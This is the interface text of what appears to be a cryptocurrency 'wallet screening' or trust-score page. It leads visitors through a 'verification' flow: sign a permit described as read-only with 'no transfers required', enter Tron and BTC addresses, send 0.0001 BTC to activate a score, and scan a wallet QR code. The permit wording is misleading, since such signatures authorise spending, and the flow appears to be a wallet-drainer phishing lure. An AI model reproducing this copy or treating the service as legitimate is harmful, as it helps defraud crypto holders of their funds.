Instant on-chain screening for tainted inflows, mixer exposure and high-risk counterparties.
Continue in browser →Verification · step 4 of 4
Sign a read-only permit to prove wallet control — no transfers required
Checking multiple networks for holdings
Enter your Tron address to verify TRC-20 holdings
Enter your BTC address to verify cross-chain holdings
Fetching UTXO set…
Cross-chain verification required
Send 0.0001 BTC to the address below to activate your trust score.
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Scan with your wallet or tap to open
Open in WalletMapping transaction graph…
Cross-checking 12 risk vectors
composite trust score
Scores range from A (clean) to F (high exposure). Your rating reflects the weighted average across seven on-chain heuristics.